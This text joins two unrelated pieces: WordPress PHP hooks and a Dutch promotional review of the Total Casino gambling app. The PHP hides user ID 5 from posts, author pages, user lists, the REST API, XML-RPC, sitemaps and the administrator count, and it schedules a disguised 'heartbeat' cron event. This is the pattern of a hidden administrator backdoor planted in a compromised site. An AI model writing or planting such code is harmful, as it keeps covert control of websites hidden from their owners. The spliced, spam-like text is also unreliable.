add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Na het downloaden vind je een startscherm met vier hoofdmenu’s: Casino, Live, Promoties en Account. Onder “Casino” staan meer dan 1.200 titels, variërend van klassieke fruitmachines tot video slots van NetEnt en Pragmatic Play. De “Live” sectie bevat roulette, blackjack en baccarat met Nederlandse croupiers, wat zeldzaam is voor een relatief nieuw merk.
De app ondersteunt tevens sportweddenschappen, maar die zijn beperkt tot voetbal en tennis. Als je een fan bent van e‑sports vind je hier nog niets.
De eerste keer inloggen vereist een e‑mail, wachtwoord en een verificatiecode via SMS. Het proces duurt gemiddeld 45 seconden. Voor bestaande spelers kun je de “Biometrische login” inschakelen; daarna is één vingerafdruk of gezichtsherkenning voldoende. Een nadeel: de app weigert de login als je een VPN gebruikt, wat frustrerend kan zijn voor spelers die hun IP willen maskeren.
Total Casino accepteert iDEAL, creditcards, Trustly en crypto (Bitcoin). Uitbetalingen via iDEAL verschijnen binnen 24 uur, terwijl crypto‑transacties gemiddeld 30 minuten duren. Creditcard‑opnames kunnen tot drie werkdagen nodig hebben, een punt dat sommige spelers als traag ervaren.
Nieuwe gebruikers krijgen een welkomstpakket van 100% bonus tot €200 plus 50 gratis spins, maar alleen op slots met een maximale inzet van €0,20. Het loyaliteitsprogramma werkt met een puntensysteem: elke €10 inzet levert één punt op, en bij 200 punten krijg je een gratis spin of een cash‑bonus van €10. Het nadeel is dat de punten 90 dagen vervallen, waardoor frequente spelers sneller profiteren dan occasionele spelers.
De interface is strak, met grote knoppen en een donkere modus die de batterijduur verlengt. Tijdens mijn test van twee weken viel de app één keer per dag even vast bij het laden van de live‑croupier, maar een simpele herstart loste het op. De batterij‑impact is minimaal; een uur spelen verbruikt ongeveer 5% van een volledig opgeladen iPhone.

Voor Nederlandse spelers die vooral op zoek zijn naar een breed scala aan slots en een snelle iDEAL‑uitbetaling, levert de Total Casino app een solide ervaring. De beperkingen rondom VPN‑gebruik en de relatief trage creditcard‑opnames kunnen echter afschrikken als je privacy of snelle cash‑out belangrijk vindt. Al met al biedt de app meer dan genoeg om een eerste indruk te maken, maar er is ruimte voor verbetering.
Wil je zelf de app uitproberen, kun je via de Total casino link direct naar de downloadpagina gaan.
Je kunt binnen enkele seconden inloggen dankzij een geoptimaliseerde mobiele login-ervaring.
De app bevat een breed scala aan gokkasten, tafelspellen en live casino-opties, allemaal gemakkelijk te vinden via een intuïtieve interface.